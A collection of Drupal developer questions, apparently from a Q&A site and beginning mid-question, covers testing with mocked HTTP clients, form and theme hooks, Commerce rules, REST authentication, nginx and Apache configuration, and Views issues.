$myClient = new MyClient(Drupal::configFactory(), [
  'handler' => HandlerStack::create(
    new MockHandler([
      new Response(200, ['X-Foo' => 'Bar'], 'Hello, World')
    ])
  ),
  'base_uri' => 'http://example.com/api/',
]);

I've tried doing this in the test class to assign my mock client to the service.

$this->container->set('my.service', $mockClient);

I've tried placing this assignment in setUp() as well as the testMyForm() method itself, but the container passed to the form's create() method doesn't contain $mockClient.

Update:

After digging into the code I discovered that parameters and services may be initialized in the test-site context by adding them inside testing.services.yml and placing that in the default site folder. In my test I used:

services:
  browser_test.handler_stack:
    class: GuzzleHttp\HandlerStack
    factory: GuzzleHttp\HandlerStack::create
    arguments:
      - '@browser_test.mock_handler'
  browser_test.mock_handler:
    class: GuzzleHttp\Handler\MockHandler
  my.service:
    class: Drupal\mymodule\Client\MyClient
    arguments:
      - '@config.factory'
      -
        base_uri: 'http://localhost/test/'
        handler: '@browser_test.handler_stack'

This overrode the client (which solves part of the problem), however I'm still unable to inject mock responses into MockHandler from the test class. I tried:

/** @var MockHandler $handlerStack */
$handler = $this->container->get('browser_test.mock_handler');
$handler->append(new Response(200, ['X-Foo' => 'Bar'], 'Hello, World'));

$this->drupalLogin($this->adminUser);
$this->drupalGet('path/to/my_form');
$this->assertSession()->statusCodeEquals(200);

But MockHandler is throwing an exception because Mock queue is empty.


texts: How can you add a tab programmatically in Manage Form Display for a block

texts: The hook: hook_enitity_base_field_info() and BasedFieldDefinitions allows you to create fields for all the custom blocks. Those fields are then used in Manage Form Display. I want to add a field group tab and put my new fields under that tab programmatically in Manage Form Display for all blocks.


texts: Drupal Commerce Free Shipping For Some Products

texts:
Drupal 7, Commerce

The Setup: A store with two products. They are a shippable item and a gift certificate.

The shippable item has a number of shipping options available.

Gift certificates have free shipping, and always go via first class mail.

I added a 'free shipping' shipping method. Unfortunately this always shows up in all checkouts, so someone could order a hundred shippable items and then select free shipping.

When I 'configure component' for the free shipping method, it lets me define a rule as to how this method is applied.

In this rule, I need to make a loop that goes through all line items, and if there are only products marked with a field called 'field_free_shipping', then show this method.

However.... Rules sucks. :-) I can make a loop, but then I can't ask it about the product node or the field.

What am I doing wrong? Any assistance appreciated.

I'll be adding a bounty to this question when it becomes eligible.


texts: How to modify the Search box input value?

texts:
I would like to add a value for the search box input to my Bartik subtheme, and modify the value in my Clean Coorporate subtheme. How would I do this?

Edit: Found this code in template.php for the clean coorporate theme.  Editing the 'Search' string updated the value I was wanting to change. I guess I just need to put the same code in my Bartik subtheme as well?

function mytheme_form_alter(&$form, &$form_state, $form_id) {
  if ($form_id == 'search_block_form') {
    unset($form['search_block_form']['#title']);

    $form['search_block_form']['#title_display'] = 'invisible';
    $form_default = t('Search this site');
    $form['search_block_form']['#default_value'] = $form_default;
    $form['actions']['submit'] = array('#type' => 'image_button', '#src' => base_path() . path_to_theme() . '/images/search-button.png');

    $form['search_block_form']['#attributes'] = array('onblur' => "if (this.value == '') {this.value = '{$form_default}';}", 'onfocus' => "if (this.value == '{$form_default}') {this.value = '';}" );
  }
}


texts: creating a custom report page with a table

texts:
Drupal 8.9.6, I'm trying to create a custom module admin report page.
I have a custom sub theme of seven called wd_admin.
I made a page controller that generates a table as markup, but want to use a twig file to render the html, and can't figure out the theming.
It is using block.html.twig to render the content, and the first suggested template is block--wd-admin-content.html.twig. So I created it, and plumbed it in with hook_theme and hook_theme_suggestions_block_alter, but it affected the content on all admin pages, wrong move.
Seems like for this to work it would have to be specific to the page. What do I need to do to render this page, maybe a page.html template?


texts: Change file upload destination to private in node type

texts: I have several attachments in nodes and when I'm not logged in I can still download them.  I have figured out how to configure private uploads but I can't change them to private in my node type.  How do I fix this?  Thanks!


texts: What do I have to do to get hook_form_alter picked up?

texts:
Trying to move from Drupal 7 to Drupal 8.  First step is to get a custom module with hook_form_alter() and the Devel module working so that I can see how bad I am messing things up.

To do so, I made a custom module with the following files.

mymodule.info.yml

name: My Module
type: module
description: "Custom module"
package: Custom
core: 8.x

mymodule.module

<?php

function mymodule_form_alter(&$form, \Drupal\Core\Form\FormStateInterface $form_state, $form_id) {
  dpm($form);
  print_r($form);
}

Other steps

I enabled both the Devel module and this custom module.
I gave anonymous users permission to view devel information.
I made sure the Status block was enabled on the Block Admin page.
I cleared all caches via the Pantheon admin interface.
I tried using print_r($form), dpm($form), and var_dump($form).

However, when I refresh /user/login, I don't see any output from dpm(), so the hook isn't getting picked up for some reason.  What else do I need to do?


texts: How to programmatically add a field to all product types?

texts:
In Drupal 7, I need to programmatically add a file field to all product types. I've tried the following in the enable hook for my module, but to no avail:

$field = array(
  'field_name' => 'my_name',
  'type' => 'file',
  'cardinality' => -1
);
field_create_field($field);

// Create the instance on the bundle.
$instance = array(
  'field_name' => 'my_name',
  'entity_type' => 'product',
  'label' => 'label',
  'bundle' => 'product',
  'required' => TRUE,
  'settings' => array(),
  'widget' => array(
    'type' => 'file_generic',
  ),
);
field_create_instance($instance);

What am I doing wrong?


texts: Pulling components out of a Features module into a Drupal site

texts:
I have a site that has some functionality provided by a Features module. They include a view, some nodes, and some content types. Now, we don't want them in the Feature anymore; we want them as native Drupal things.

How do we migrate components provided by a Feature module back into Drupal?


texts: POST request trying to make a Session authentication in the REST SERVER return a HTML error 406 Not acceptable

texts:
I have a REST server in drupal working. I get data if I go to the server endpoint.

In Navigator:

http://localhost/drupal-7.19/restserver/user/

Work fine.

I have created a PHP to make the Session authentication:

<?php
// REST Server URL

/*
* Server REST - user.login
*/

// REST Server URL
$request_url = "http://localhost/drupal-7.19/restserver/user/login";

// User data
$user_data = array(
  "username" => "test",
  "password" => "test",
);
$user_data = http_build_query($user_data);

// cURL
$curl = curl_init($request_url);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Accept: application/json")); // Accept JSON response
curl_setopt($curl, CURLOPT_POST, 1); // Do a regular HTTP POST
curl_setopt($curl, CURLOPT_POSTFIELDS, $user_data); // Set POST data
curl_setopt($curl, CURLOPT_HEADER, FALSE);  // Ask to not return Header
curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($curl, CURLOPT_FAILONERROR, TRUE);

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);

// Check if login was successful
if ($http_code == 200) {
  // Convert json response as array
  $logged_user = json_decode($response);
}
else {
  // Get error msg
  $http_message = curl_error($curl);
  die($http_message);
}
echo "END php \n";

?>

But I getting this error:

TestAuth.php The requested URL returned error: 406


texts: Computed code db query issue -- working in PHPmyadmin but not field

texts:
On my site, I have venues, and reviews of the venues, related with an entity reference field. I'm creating a computed field to store the UID of the first person to create a review for each venue. To do so I've written the below query. Now, it works fine when I enter the simplified sql directly into PHPmyadmin, and substitute $entity->nid with an actual nid, but for some reason it just will not work when I add it into the computed code field, with the added db_query and fetch portions. Any ideas?

if (!$entity->nid) node_save($entity);

$entity_field[0]['value'] =
db_query (
    SELECT entity_id
    FROM (
        db_query (
            SELECT *
            FROM field_data_field_review_venue_reference AS ReviewRow
            WHERE field_review_venue_reference_target_id = $entity->nid
        )->fetchrow()
    ) AS uid
    LIMIT 1
)->fetchfield();


texts: Values disappear in $form_state['values']

texts:
I have some tableselect in a form which I can click a button and update from a database. When I update it, I need to be able to access those values in my submit function. But those values aren't available in $form_state['values'] if I have updated the tableselect via AJAX. How can I make those available, or are they not available before the form is submitted?

Here is the AJAX function:

function module_data_table($form, &$form_state) {

  $tableselect_header = array(
    'id' => t('ID'),
    'row_id' => t('Room number'),
    'start-end' => t('Start date - end date'),
    'sum' => t('Sum'),
    'type' => t('Type'),
  );

  foreach ($form['data_tableselect'] as $data => $val) {
    if (is_int($data)) {
      unset($form['data_tableselect'][$data]);
    }
  }

  // This function just gets the data from the database and returns it as an array
  $lines = module_data_from_database($form, $form_state, true);
  $form['data_tableselect'] = array(
    '#type' => 'tableselect',
    '#tree' => 'true',
    '#attributes' => array(
      'id' => 'data_tableselect'
    ),
    '#header' => $tableselect_header,
    '#options' => $lines,
    '#multiple' => true,
    '#empty' => t('No data to show.'),
    '#parents' => array('data_tableselect'),
    '#default_value' => '',
    '#weight' => 14
  );

  $form['data_tableselect'] = form_process_tableselect($form['data_tableselect']);

  $commands = array();
  $commands[] = ajax_command_replace("#data_tableselect", render($form[['data_tableselect']));

  return array('#type' => 'ajax', '#commands' => $commands);

}

And here is the relevant part of the hook_form_alter function where I defined the button that triggers the above function. The code that defines the tableselect there is much the same as that above:

$form['data_get'] = array(
  '#type' => 'submit',
  '#value' => t('Import data'),
  '#attributes' => array(
    'class' => array('col-sm-3', 'col-xs-4')
  ),
  '#parents' => array('data_get'),
  '#limit_validation_errors' => array(),
  '#ajax' => array(
    "callback" => 'module_data_table',
    "wrapper" => 'data_tableselect',
    'progress' => array(
      'type' => 'throbber',
      'message' => t('Importing...')
    ),
    "event" => 'click'
  )
);


texts: Print exposed filter in different postion

texts:
I have created a view with exposed filter, i need to print it in different position, for example filter will be in next to many & view will be in the content container. Gone through some forum, nothing seems to be working from my end. With the code below i got view array but no sure how to print the exposed filter.

$view = views_get_view('watchlist');
$view->set_display('default');
print_r($view);


texts: Cron timeouts at 60 seconds, but all the related timeouts are set higher

texts:
We're getting 504 Gateway Timeouts on AWS from a Drupal 7 site at 60 seconds, but everything AFAIK is greater than that. The timeout is specifically during running the feeds_source_import in Ultimate Cron.

We have a NLB with two TCP listeners that forward to the IPs of an ALB. According to the docs, the NLB has a timeout of 350 seconds for TCP connections. https://docs.aws.amazon.com/elasticloadbalancing/latest/network/network-load-balancers.html#connection-idle-timeout

The ALB is using an HTTP and HTTPS listener, and we have the Idle Timeout set to 300 seconds.

Finally on the servers themselves are running CentOS 7.7, Apache 2.4 and PHP-FPM 7.2.
reqtimeout_module is turned off completely.
Here are some values from php.ini:

max_execution_time = 300
max_input_time = 120
max_input_vars = 4000
memory_limit = 300M
default_socket_timeout = 120

And apparently cron lock time is set to 240 in Drupal Core. https://stackoverflow.com/a/9220479/5004648

Is there anything else we're missing that would terminate the connection at 60 seconds?

Given that we have several feeds, I decided to try to also run the importer manually by visiting: /import/video_importer and also get a timeout. For reference, the feed is pulling only a 128KB CSV file that has 912 lines.


texts: Create a non admin area form to update user form

texts:
I'm trying to see if there's an example of a form that isn’t in the admin area and is used to update user details.

Is it possible to create this type of form? Where can I find such an example?


texts: Error viewing articles/pages after assigning

texts:
As an experiment I've merged core from 8.3.x branch to try out workflow. After successfully assigning 'editorial workflow' to articles and pages, I cannot access the pages or articles anymore neither to read them as a guest or to edit them as an admin.

Visiting /admin/reports/status, I see this error:

  Mismatched entity and/or field definitions
  The following changes were detected in the entity type and field definitions.

  Comment

  The Publishing status field needs to be updated.

My expectation is that the existing entities needs their workflow states to be set, but I expected the workflow module to automatically assign 'published' state to published articles. How can I fix that?

I was wrong about that this was only happening with existing articles. Another article after been created as well started behaving the same.
This was the error from log:

  Drupal\Core\Database\DatabaseExceptionWrapper: SQLSTATE[42S22]: Column not found: 1054 Unknown column 'content_moderation_state_field_data.workflow' in 'where clause': SELECT base_table.revision_id AS revision_id, base_table.id AS id
      FROM
      {content_moderation_state} base_table
      INNER JOIN {content_moderation_state_field_data} content_moderation_state_field_data ON content_moderation_state_field_data.id = base_table.id
      WHERE (content_moderation_state_field_data.content_entity_type_id IN (:db_condition_placeholder_0)) AND (content_moderation_state_field_data.content_entity_id IN (:db_condition_placeholder_1)) AND (content_moderation_state_field_data.workflow IN (:db_condition_placeholder_2)) AND (content_moderation_state_field_data.default_langcode IN (:db_condition_placeholder_3)); Array
      (
          [:db_condition_placeholder_0] => node
          [:db_condition_placeholder_1] => 8
          [:db_condition_placeholder_2] => editorial
          [:db_condition_placeholder_3] => 1
      )
       in Drupal\Core\Entity\EntityStorageBase->loadByProperties() (line 503 of \core\lib\Drupal\Core\Entity\EntityStorageBase.php)."
  Drupal\Core\Database\DatabaseExceptionWrapper: SQLSTATE…


texts: Custom image style conversion - how to read back from a file?

texts:
I'm making a custom image style in Drupal 8.

It takes various parameters and passes the image to an external service for processing, and it now needs to read back the processed image from a file.

However, in applyEffect I'm expected to work with the Image $image object passed in.

The site is using the standard GD2 toolkit, which provides a load() method, but alas it's protected (presumably because the Image object that owns it would need updating).

Previously (porting this effect from D7) I was able to create a new Image object from the new image and replace the original object's resource and info properties, thus moving the altered image data into the image object. But this is no longer possible.

To summarise I want to:

public function applyEffect(ImageInterface $image) {
    $image->save('/some/path');
    $new_image_filename = call_some_external_process('/some/path');
    $image->load($new_image_filename); // ← this does not work :-)
    return TRUE;
}


texts: Content statistics: The "Most Recent" view is not populated

texts:
I have views in my Drupal 7 site that show the last 4 viewed objects. rather, it's supposed to do so. Instead it shows 4 objects views almost 2 years ago, coinciding when we had an ISP migration.
I have built a very basic view to show me just the titles and the most-recent-view of the objecs, and I can see that the Content Statistics: Most Recent View field is null for nearly everything the past two years. (This is impacting other views as well, such as my "Ten Most Viewed" which has also remained stagnant.)
Has anyone encountered this in their Drupal 7 sites and found how to turn back on this information gathering?


texts: How do I re-queue a test that has been postponed on Drupal.org?

texts:
I'm trying to run the tests on a patch on Drupal.org.  The relevant issue is here.  The status is marked as Test request sent but more than a week has passed and the test hasn't been run.

I tried changing the issue status from Needs review to Needs work and then back to Needs review but that didn't re-queue the test.  If the test has been run, whether it succeeded or failed, there is usually a Re-test link, but since the test is marked as "test request sent" then the link does not appear.

How can I re-queue such a test?


texts: Sell products in pairs ( only 2, 4, 6 pieces so on)

texts:
We need to sell certain SKUs in pairs, not sure how to approach it in Commerce 2. So that shall be per SKU setting.
There is say https://www.drupal.org/project/commerce_product_limits but it only sets min and max items value.
Stock nanagement is not needed though. Any tips?


texts: Issue when trying to create service from ContentEntity subclass and inject into another class

texts:
I have a class ApplicationForm that extends ContentEntity. In my other class ApplicationFormForm (Poorly named, I know) I extend ContentEntityForm which in turn inherits from EntityForm. In one of those parent classes, a property called $entity is created, which is available in my class ApplicationFormForm.

The $entity property has all the methods I created on it and I use it in my submitForm method:

public function submitForm($form, FormStateInterface $form_state) {
 // Code omitted for brevity
 $stepsCompleted = $this->entity->getStepsCompleted();
}

Now, the problem arises when I try and unit test my submitForm method, because entity is null and therefore getStepsCompleted does not exist.

To get around this, I created an interface of my ApplicationForm class and turned ApplicationForm into a service, and injected it into my ApplicationFormForm class (type hinting the parameter as the newly created interface so I can mock it later).

The problem is, as mentioned previously, ApplicationForm inherits from other classes, and these classes have other parameters in their constructors which are not services. Specifically:

public function __construct(array $values, $entity_type) {

}

So when I try and inject my new service, it complains that I am missing argument 1 and 2 of the constructor. So... I'm pretty stuck. Does anyone have a solution so I can unit test my method?

Update - Here is my unit test. It's extending FormTestBase.

/**
   * Set up method which is called before any tests are
   * run. Mocks of the services that the class being tested rely on are
   * created. These mocks are then passed to the container, so they are
   * available to the methods under test.
   *
   * @return void
   */
  public function setUp() {

    parent::setUp();
    $container = new ContainerBuilder();

    $mockEntityTypeManager = $this
      ->getMockBuilder('\Drupal\Core\Entity\EntityTypeManager')
      ->disableOriginalConstructor()
      ->getMock();
    $container->set('entity_type.manager', $mockEntityTypeManager);

    $applicationForm = new ApplicationFormForm(
      $mockEntityTypeManager,
    );

    $this->applicationForm = $applicationForm;

    \Drupal::setContainer($container);

  }

  /**
   * @dataProvider submitFormDataProvider
   * @param $form array
   * @covers ::submitForm
   */
  public function testSubmitForm($form) {

    $form_state = new FormState();
    $form_state = $this->applicationForm->submitForm($form, $form_state);
   // Assertion will go here.

  }

  /**
   * @return array
   */
  public function submitFormDataProvider() {

    $form['base'] = array(
      '#type' => 'fieldset',
      '#tree' => true,
    );
    $form['base']['value'] = array(
      '#type' => 'textfield',
      '#title' => 'Foo',
      '#value' => '',
      '#attributes' => array(
        'data-required' => 'required'
      ),
      '#parents' => array(
        'base'
      )
    );

    return array(
      array($form)
    );

  }

As mentioned before, I can't see a way to mock the entity property like I have with EntityTypeManager as $entity is inherited from the parent class and has dependencies in the constructor.


texts: Make Drupal menu router to ignore a path that belongs to another website

texts:
I have Drupal running at http://api.site.com. My conf file is:

<VirtualHost *:80>
        ServerAdmin admin@site.com

        DocumentRoot /var/www/html/drupal
        ServerName api.site.com
        ServerAlias api.site.com
        <Directory />
                Options FollowSymLinks
                AllowOverride All
        </Directory>
        <Directory /var/www/html/drupal>
                Options Indexes FollowSymLinks MultiViews
                AllowOverride All
                Order allow,deny
                allow from all
        </Directory>
        ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
        <Directory "/usr/lib/cgi-bin">
                AllowOverride None
                Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
                Order allow,deny
                Allow from all
        </Directory>

        # Possible values include: debug, info, notice, warn, error, crit,
        # alert, emerg.
        LogLevel warn

    Alias /doc/ "/usr/share/doc/"
    <Directory "/usr/share/doc/">
        Options Indexes MultiViews FollowSymLinks
        AllowOverride None
        Order deny,allow
        Deny from all
        Allow from 127.0.0.0/255.0.0.0 ::1/128
    </Directory>
</VirtualHost>

I have another website at /var/www/html/documentation/api/v3/rest but without a conf file.

When I navigate to http://api.site.com/documentation, drupal takes precedence with a "Page not found" error. That is pretty much expected.

My question is, how do I make the site at /var/www/html/documentation/api/v3/rest to take precedence instead of drupal?

I followed the doc at http://drupal.org/node/30334 ,  but it's not working for me yet.

Thanks for helping out.


texts: Is there a common nginx conf for Drupal 7 sites?

texts:
I've taken a look at Perusio's drupal-with-nginx repository and while I think it's impressive how extensive it is, it may be a little too advanced for me at the moment, plus I have several Symfony2 based sites live on the server and I don't to start making significant changes until I fully understand the configurations.

So I found this on a blog and figured it might do the job. Are there any common pitfalls with serving drupal 7 over nginx? Also, if the same Drupal installation was to power more than one site, would the configuration be any different?

server {
    server_name example.org;
    root /home/me/sites/example.org;

    index index.html index.htm index.php;

    access_log /var/log/nginx/example.org.access.log;
    error_log /var/log/nginx/example.org.error.log;

    location = /favicon.ico {
            log_not_found off;
            access_log off;
    }

    location = /robots.txt {
            allow all;
            log_not_found off;
            access_log off;
    }

    # For drush
    location = /backup {
            deny all;
    }

    # Prevent user from accessing settings.php directly
    location ~ ^/sites/[^/]+/settings.php$ {
            deny all;
    }

    ## Replicate the Apache <FilesMatch> directive of Drupal standard
    ## .htaccess. Disable access to any code files. Return a 404 to curtail
    ## information disclosure. Hide also the text files.
    location ~* ^(?:.+\.(?:htaccess|make|txt|log|engine|inc|info|install|module|profile|po|sh|.*sql|theme|tpl(?:\.php)?|xtmpl)|code-style\.pl|/Entries.*|/Repository|/Root|/Tag|/Template)$ {
            return 404;
    }

    location ~ \..*/.*\.php$ {
            return 403;
    }

    location / {
            # This is cool because no php is touched for static content
            try_files $uri @rewrite;
    }

    location @rewrite {
            # Some modules enforce no slash (/) at the end of the URL
            # Else this rewrite block wouldn't be needed (GlobalRedirect)
            #rewrite ^/(.*)$ /index.php?q=$1&$args;
            rewrite ^ /index.php last;
    }

    # Use an SSH tunnel to access those pages. They shouldn't be visible to
    # external peeping eyes.
    location = /install.php {
            allow 127.0.0.1;
            deny all;
    }

    location = /update.php {
            allow 127.0.0.1;
            deny all;
    }

    location ~ \.php$ {
            fastcgi_split_path_info ^(.+\.php)(/.+)$;
            #NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini
            include fastcgi_params;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            fastcgi_intercept_errors on;
            fastcgi_pass unix:/var/run/php5-cgi/php5.sock;
    }

    ## Drupal 7 generated image handling, i.e., imagecache in core. See:
    ## https://drupal.org/node/371374
    location ~* /sites/.*/files/styles/ {
            access_log off;
            expires 30d;
            try_files $uri @rewrite;
    }

    # Fighting with ImageCache? This little gem is amazing.
    location ~ ^/sites/.*/files/imagecache/ {
            try_files $uri @rewrite;
    }

    location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
            expires max;
            log_not_found off;
    }
}


texts: View with Block and Page results in Pager Issues

texts:
I have a view that has a Block and a Page. The block is up in the header of the site as seen in the first image below and obviously the page is loaded in the content area.
The odd behaviour is that when I turn on the pager on on the Page under the view it displays in the block in the header and not in the page. If I turn the pager on for both it duplicates the pager in the dropdown that is the block in the header so they are both there and not one in the block and one in the page. The pager variable isn't even available in the page view.
Is there something that would be causing the pager to be put in the block only? There is nothing in the code that I can tell that is causing this behavior.


texts:
I am using the token for the quiz close date ([node:quiz:quiz-close] in a certificate for the quiz module and would like to change the format. I looked at Date & Time in the configuration settings and have already defined a custom one that is just the date (called just_the_date).

How can I embed a token for a field that records a more detailed date, but just have it show in my custom format or change the display format for this field?


texts:
I have a Content Type "Picture". The contentmanager now wants to choose specific nodes of this ContentType and put them in a voteable list. The voting list should be auto generated if possible.
Users can vote one this list. A user can only vote once and give exactly one vote. After voting, the user should see the ranking results and within his profile he should be able to see for what he voted.

Whats the best way to achieve this?
I thought about using flags, but I would need to restrict a flag to a number of nodes and not per node. And with standard polling I don't see a way of generating the voting list.


texts: Disable third-party modules before core update

texts:
I have a D8 (8.5.6) installation which I have been trying to upgrade to 8.6 since it came out. It is on a shared hosting account which does not allow drush, so FTP it is. During the database update, it fails and I end up with the proverbial white screen of death. Before delving into detail troubleshooting, I want to disable all the third-party modules, and see if this works. If successful, I want to enable the third-party modules, one by one.

Is that a "good practice" type of approach?

The point is to quickly identify whether it is a contrib module which causes problems are the core install. Normal troubleshooting procedures would follow in any case.


texts:
I want to have a block with 3 text body fields. I've done this before in Drupal 8 where I created a custom block and was able to add different fields to it.
In my Drupal 7 setup, I can add a block but cannot see where to add a custom block. Is this possible? If not, is there a way to set up a block with 3 different body fields?


texts: PHP evaluation in rule to detect empty view

texts:
I have a newsletter going out each day that lists the most recent articles. The newsletter is using a template file that I have created with a view inside. Everything seems to be working fine, but the problem is if it's a holiday or a weekend. The newsletter still goes out, but it's empty. It would be great to run the rule only when there is actually new content in the view.

I saw in the rule preferences there is a "PHP Evaluation" section and am wondering if it's at all possible to have a rule that looks at the specific view to see if it's empty. If it is, then it doesn't run.

Here is my current rule setup where I am testing this out every 10 minutes to see if it will work:

UPDATE: I found someone who was able to make it work, but I am having issues making it work for me as I do not know much PHP.

function _my_notifier_is_view_empty($viewname, $display_id = null) {
  $view = views_get_view($viewname, $viewargs = array());
  if (! is_null($display_id)) {
    $view->set_display($display_id);
  }
  $view->get_total_rows = TRUE;
  $view->set_arguments($viewargs);
  $view->execute();
  if ($view->total_rows > 0) {
    return false;
  }
  return true;
}
return !_my_notifier_is_view_empty('job_type_c_list');

Basically what in this text do I need to customize?


texts: What "access argument" or permission-string to use for a custom module?

texts:
When developing a custom module that has a configuration area, what is the correct or preferred permission to use? In core, you see a mixture of:

administer site configuration
access administration pages
administer {modulename}

They appear to be applied almost at random, and searching the documentation does not show me a unambiguous "Best Practice" or "HUG" for this.

In this case, the module is small, has only one configuration-page and is related to Taxonomy, so a fourth option would be to re-use administer taxonomy.

Is there an unambiguous, or distinctive guideline on this matter?


texts:
I have an installation of Drupal 7.20. I've entered the proxy settings in the default.settings.php but it's still unable to check on updates. A simple test with a dummy page which executes

http://updates.drupal.org/release-history/drupal/7.x?version=7.20')); ?>

Results in the following error message

  object(stdClass)#62 (2) { ["code"]=> int(-110) ["error"]=> string(20) "Connection timed out" }

Which leads me to believe the proxy settings are not being detected


texts: Custom forms for custom post types in D7

texts:
I am sub-theming Bartik and have a content type called "support_query" with 3 fields... "title" (which comes with all content types), "field_support_body" and "field_support_date" (which is a simple date field from the Date module).

I would like to create a custom form so users can send me queries of this custom post type... what's a good way to do something like that?


texts:
I have an AJAX link and a callback function. The problem is that when I click the link an error is thrown.

I have absolutely no idea where did I make an error, the debug information unfortunately doesn't help.

As I understand the AJAX and Form API, the TSTDiv should be replaced with the TST link therefore two links should be visible on the page, right? The problem is, it not only doesn't work, but even throws an (really unhelpful) error.

The callback function / menu hook work fine (correct output is rendered when you access the URL (of the AJAX request) directly).

Code:

function HOOK_menu() {
  $items = array();

  $items['groups_hierarchy_load_more'] = array(
    'page callback' => '_fmg_agh_hierarchy_load_more',
    'access callback' => 'user_access',
    'access arguments' => array('Can view all groups'),
    'type' => MENU_CALLBACK,
  );
...

  $page_array['l'] = array(
    '#type' => 'link',
    '#title' => 'TEST',
    // Note the /nojs portion of the href - if javascript is enabled,
    // this part will be stripped from the path before it is called.
    '#href' => 'groups_hierarchy_load_more/' . '5' . '/nojs',
    '#ajax' => array(
      'wrapper' => 'TSTDiv',
      'method' => 'replace',
    ),
  );

  $page_array['d'] = array(
    '#type' => 'markup',
    '#prefix' => '
',
    '#suffix' => '
',
  );
...

function _fmg_agh_hierarchy_load_more($group_id, $ajax) {
  $page_array = array();

  $page_array['tst']['data'] = array(
    '#type' => 'link',
    '#title' => 'TST',
    // Note the /nojs portion of the href - if javascript is enabled,
    // this part will be stripped from the path before it is called.
    '#href' => 'groups_hierarchy_load_more/' . 'TST' . '/nojs',
  );

  return $page_array;
}

Error:

An AJAX HTTP error occurred.
HTTP Result Code: 200
Debugging information follows.
Path: /drupal7/?q=groups_hierarchy_load_more/5/ajax
StatusText: OK
ResponseText:
localhost
@import url("http://localhost/drupal7/modules/system/system.base.css?n3277e");
...


texts: how do I access raw URL from a File Field to render it in twig inside href?

texts:
I have a "Our Staff" Content Type, that includes a field for uploading an individual's CV as a PDF:

field_cv_file

I have created a View for this Content Type, then added it to page via Blocks

The twig file I'm using to render/style this area is:

views-view-fields--our-staff-view--block-1.html

I'm having trouble with the URL for the File Field

I can render it as a PDF icon link like this:

{{ fields.field_cv_file.content }}

But I want to obtain the 'raw' URL to apply inside a href, something like this:

Download CV

This however is not working.

I've tried a few different ways of rewriting the code in href, but none are working.

how would I do this?


texts: page.tpl.php base on a field criteria in views

texts:
I'm working on creating different themes in different pages of a site base on several conditions.

first, I want to create a page.tpl.php for all view pages in my site.

second, I want to have tiny specialization on it base on the filter criteria field's value or selected field's value in a page view. I mean different page.tpl.php based on fields value criteria.

I need to change the overall theme so it is not duplicate of is it possible to have one views-view--VIEWNAME--page.tpl for multiple views?

I need to know how to access field's value in my "function MYTHEME_preprocess_page(&$vars, $hook) ".


texts: How to add a pane (view content pane) to an existing panel page via a Feature module or programmatically?

texts:
I have feature module A that provides content type X and a panel variant for content type X.

I have another feature module B that provides content type Y and a view content pane of three latest items of type Y.

From feature module B, how can I add a panel pane of the view content pane Y to the panel variant for type X in Feature A?

Is this possible?

Let me know if that's too abstract or ambiguous, and I'll clarify.


texts: Sending Email verification when registering programmatically

texts:
I have created multi-step form through custom module. I am using user_save() function to register the user and user_mail_notify() to send the email.

Now I am not sure what should I send in _user_mail_notify() so email verification link will work.

I have account settings in the backend as shown in screenshot

and sending op value as 'register_no_approval_required' in _user_mail_notify() function. I am receiving verification email in inbox but when I click it then it doesn't work.

However it works when we register through default registration form. Please let me know if anything I am missing to add.


texts: How to send an automatic reply using webform?

texts:
I'd like to send an automatic reply to every user who fills the form
"Thank you for registration"+ link to a restricted webpage on my website -available only to registered users who filled that form.

Is it doable?


texts: Troubleshoot hook_library_alter() not being called for the jQuery Update module

texts:
I have the jQuery Update's development shapshot version 7.x-2.x-dev installed and enabled. The version jQuery configured in UI is not being imported. As result, it is importing version 1.4.4 instead of the version I specified. Debugging, I noticed that jquery_update_library_alter() is not being called. In meanwhile, my custom hook_library_alter() is called, and I use that as temporary solution until I figure out why the hook implemented by the jQuery Update module is not called.

function MODULE-NAME_library_alter(&$javascript, $module) {
  module_load_include('module', 'jquery_update');
  jquery_update_library_alter($javascript, $module);
}

This is first time I encounter a situation where hooks are not called. Where are hooks attached to and where are they called from? How would you approach to troubleshoot hooks? Where can I check all registered hooks?


texts: Is there a D7/Services module for sane field content I/O?

texts:
For instance, a GET request to the standard endpoint node/1.json returns an object with fields like this:

{
   ...

   "field_my_field":{
      "und":[
         {
            "value":"yucky"
         }
      ]
   }

   ...
}

To build an easy to use API, we would want to GET and POST objects with fields like this:

{
   ...

   "my_field": "clean"

   ...
}

It would be easy to implement the vast majority of field types this way. I thought there was a module for this, but I can't find it.


texts:
I want to have a views slideshow as the following:

Two content types which one has image field and the other has video field.
I need to have two pagers for the slideshow, one pager for content type (image) and one for content type(video).

I searched for a solution but i couldn't fine one, also tried to make the pager as a views then using views field view module but no luck.

This photo will explain what i looking for:

Any tips?
Thanks


texts: Convenience of inserting external data (products) as Drupal nodes

texts: I am building a multisite/multidomain site in Drupal 7. We have a section which will show details of thousand of products of the company and clients. We manage these products with an independent management tool. Is it recommended to insert these products in the database as nodes in order to get full capability of Views listings, search functions, etc.? I was going to use just PHP to manage listing, details page, etc., but I am no sure if keeping them outside of Drupal is a good idea. If it is better to include them as nodes, or any other entity... what contributed modules would be recommended and what would be the best approach? (Import them as csv files in a commerce module, insert them directly in nodes and related tables...).


texts: How can I get the entity ID after saving it?

texts:
I am saving an entity and I would want to get its ID.
$CustomerEntity = CustomerEntity::create([
  'customer_id' => $customer['id'],
  'customer_name' => $customer['name'],
  'address' => $customer['address'],
]);

$CustomerEntity->save();

How do I get the entity ID with that code?


texts: Add body class to Node Display (to distinguish it from Node/Edit or Node/add view)

texts:
I want to add a body class that will only appear on the actual node display (e.g. mysite.com/node/1). I don't want this body class to appear on the node/edit page (e.g. (mysite.com/node/1/edit) or the node/add page.

The reason for this is that I am making custom node form templates. At the moment, the css gets wrongly applied to the node Display.

I know I could just add a wrapper DIV to my templates, but I would rather use the body class, as it will be more efficient for my theming work flow.

I have successfully applied body classes to the edit and add displays with the following code in template.php

function MYTHEME_preprocess_html(&$variables) {
  if ((arg(0)=='node' && arg(2)=='edit') || (arg(0) == 'node') && (arg(1) == 'add')) {
    $variables['classes_array'][] = 'node-edit-page';
  }
}

Is there something similar I could use to target the actual node display? I tried doing a KPR dump of the page, node and HTML hooks with theme_devel, but I could not find anything useful.


texts: Including JS files in template.php to control weight/order/group

texts:
